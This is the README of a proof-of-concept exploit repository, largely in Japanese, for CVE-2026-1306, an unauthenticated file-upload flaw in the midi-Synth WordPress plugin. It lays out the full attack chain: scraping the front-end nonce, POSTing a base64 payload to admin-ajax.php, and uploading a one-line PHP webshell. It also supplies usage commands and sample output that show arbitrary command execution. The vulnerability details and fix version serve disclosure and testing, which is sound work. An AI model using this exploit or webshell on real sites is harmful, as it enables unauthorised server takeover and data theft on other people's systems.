
CVE-2026-1306のPython概念実証:midi-Synthのnonceを抽出し、export AJAXアクション経由で任意のファイルをアップロードし、PHPウェブシェルを通じてRCEを検証します。
WordPressプラグインmidi-Synth(バージョン**<= 1.1.0**)に存在する重大な未認証の任意ファイルアップロード脆弱性CVE-2026-1306の**概念実証(PoC)エクスプロイトです。この脆弱性はリモートコード実行(RCE)**につながる可能性があります。
CVE-2026-1306は、WordPressプラグインmidi-Synthに存在する**重大(CVSS 9.8)**な無制限ファイルアップロード脆弱性です。このプラグインのexport AJAXアクションはファイルの種類と拡張子を検証しないため、未認証の攻撃者がPHPスクリプトを含む任意のファイルを公開アクセス可能なディレクトリにアップロードできます。
唯一の前提条件はnonceですが、プラグインはこれをフロントエンドのJavaScriptで公開しているため、未認証の訪問者でも容易に取得できます。
このリポジトリには、以下を行うPython 3 PoCが含まれています:
⚠️ これは検出ツールではありません。エクスプロイトが成功すると、サーバーが完全に侵害されます。
| 項目 | 値 |
|---|---|
| CVE ID | CVE-2026-1306 |
| 脆弱性の種類 | 未認証の任意ファイルアップロード → RCE |
| CWE | CWE-434: 危険な種類のファイルの無制限アップロード |
| CVSS v3.1スコア | 9.8(重大) |
| CVSSベクター | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| 攻撃ベクター | ネットワーク |
| 必要な権限 | なし(未認証) |
| ユーザー操作 | 不要 |
| 影響 | 機密性: 高 · 完全性: 高 · 可用性: 高 |
| 影響を受けるコンポーネント | admin-ajax.php内のexport AJAXアクション |
| ベンダー | midi-Synth(WordPressプラグイン) |
| 修正済みバージョン | 2.0.0 |
AV:N — ネットワーク経由でリモートから悪用可能AC:L — 特別な条件は不要。nonceが公開されているPR:N — 認証不要UI:N — ユーザー操作不要(フィッシング系の脆弱性とは異なる)S:U — スコープは変更なしC:H/I:H/A:H — 機密性、完全性、可用性の完全な喪失| プラグイン | 影響を受けるバージョン | 修正バージョン |
|---|---|---|
| midi-Synth | <= 1.1.0 | 2.0.0 |
⚠️ 直ちにバージョン2.0.0以降に更新してください。 この脆弱性はWordPressのセキュリティベンダーによって積極的に追跡されており、公開されているNucleiテンプレートも存在します。
プラグインのexport AJAXハンドラー(midiSynth.phpおよびmidiSynthConvert.php)は、以下を検証せずにファイルアップロードを処理します:
.phpファイルが受け入れられるハンドラは fileName と fileMidi(base64エンコードされたコンテンツ)のPOSTパラメータを使用します。アップロードディレクトリ(/wp-content/plugins/midi-synth/sound/)はWebからアクセス可能であり、通常プラグインディレクトリではPHPの実行が有効になっているため、アップロードされたPHPファイルはサーバーによって実行されます。
このプラグインは export アクションに対して有効な nonce を要求します。しかし、このnonceはページ読み込みのたびにフロントエンドのJavaScriptに埋め込まれています:
var midiSynth_nonce = "a1b2c3d4e5";
認証されていない訪問者(攻撃者を含む)は、単純な GET リクエストでこの値をスクレイピングできます。このコンテキストにおいて、nonce はセキュリティ上の利点を一切提供しません。
これは直接的かつ認証不要のサーバー侵害です。被害者による操作は必要ありません。
Attacker Target WordPress Server
│ │
│ 1. GET / │
│───────────────────────────────────────>│
│ │
│ 2. HTML response with nonce │
│<───────────────────────────────────────│
│ midiSynth_nonce = "abc123" │
│ │
│ 3. POST /wp-admin/admin-ajax.php │
│ action=export │
│ nonce=abc123 │
│ fileName=shell_x7k2.php │
│ fileMidi=<base64 PHP code> │
│───────────────────────────────────────>│
│ │
│ 4. File written to: │
│ /wp-content/plugins/ │
│ midi-synth/sound/shell_x7k2.php │
│<───────────────────────────────────────│
│ │
│ 5. GET /wp-content/.../shell_x7k2.php?cmd=id
│───────────────────────────────────────>│
│ │
│ 6. Command output (RCE) │
│<───────────────────────────────────────│
│ │
結果: 攻撃者はサーバー上に永続的なウェブシェルを保持し、任意のシステムコマンドを実行できます。
requests ライブラリ依存関係をインストールします:
pip install requests
git clone https://github.com/SecureNet-Dynamics/CVE-2026-1306.git
cd CVE-2026-1306
---
## 🚀 Usage
```bash
python3 CVE-2026-1306.py -t <TARGET_URL> [OPTIONS]
| Flag | Long Form | Description |
|---|---|---|
-t | --target | Required. Target WordPress base URL |
--check | — | Upload a test .txt file to verify vulnerability |
-f | --filename | Filename to upload (with -c for content) |
-c | --content | Content for the uploaded file (default: test string) |
--shell | — | Upload a PHP webshell for RCE |
-k | --insecure | Disable SSL certificate verification |
Uploads a harmless .txt file and verifies it's accessible.
python3 CVE-2026-1306.py -t http://target.com --check
Expected output (vulnerable):
[+] http://target.com から nonce を取得中
[+] Nonce: a1b2c3d4e5
[+] アップロード中: test_x7k2m9.txt
[✓] ファイルにアクセス可能: http://target.com/wp-content/plugins/midi-synth/sound/test_x7k2m9.txt
[+] コンテンツプレビュー: CVE-2026-1306 test
[!] ターゲットは CVE-2026-1306 に対して脆弱です
Upload a specific file with custom content.
python3 CVE-2026-1306.py -t http://target.com -f proof.txt -c "authorized-testing"
Uploads a minimal PHP webshell (<?php system($_GET['cmd']); ?>) and provides the execution URL.
python3 CVE-2026-1306.py -t http://target.com --shell
Expected output:
[+] http://target.com から nonce を取得中
[+] Nonce: a1b2c3d4e5
[+] アップロード中: shell_x7k2m9.php
[✓] Webshell をアップロードしました: http://target.com/wp-content/plugins/midi-synth/sound/shell_x7k2m9.php
[+] 実行: http://target.com/wp-content/plugins/midi-synth/sound/shell_x7k2m9.php?cmd=whoami
[!] RCE 準備完了: http://target.com/wp-content/plugins/midi-synth/sound/shell_x7k2m9.php?cmd=id
⚠️ The
--shellflag creates a persistent backdoor. Only use on systems you own and control, and remove the uploaded file immediately after testing.
# 基本的な脆弱性チェック
python3 CVE-2026-1306.py -t http://target.com --check
# 自己署名証明書を使用したチェック
python3 CVE-2026-1306.py -t https://target.local -k --check
# カスタムファイルのアップロード
python3 CVE-2026-1306.py -t http://target.com -f test.php -c '<?php echo "pwned"; ?>'
# RCE用のwebshellのアップロード
python3 CVE-2026-1306.py -t http://target.com --shell
The script performs a GET request to the target's homepage and uses a regex to extract the nonce:
match = re.search(r'var midiSynth_nonce\s*=\s*"([a-z0-9]+)"', resp.text)
This works because the plugin embeds the nonce in frontend JavaScript on every page load, with no authentication or access control .
The script sends a POST to /wp-admin/admin-ajax.php with:
| Parameter | Value |
|---|---|
action | export |
nonce | Extracted nonce |
fileName | Attacker-controlled filename (e.g., shell_abc123.php) |
fileMidi | Base64-encoded file content |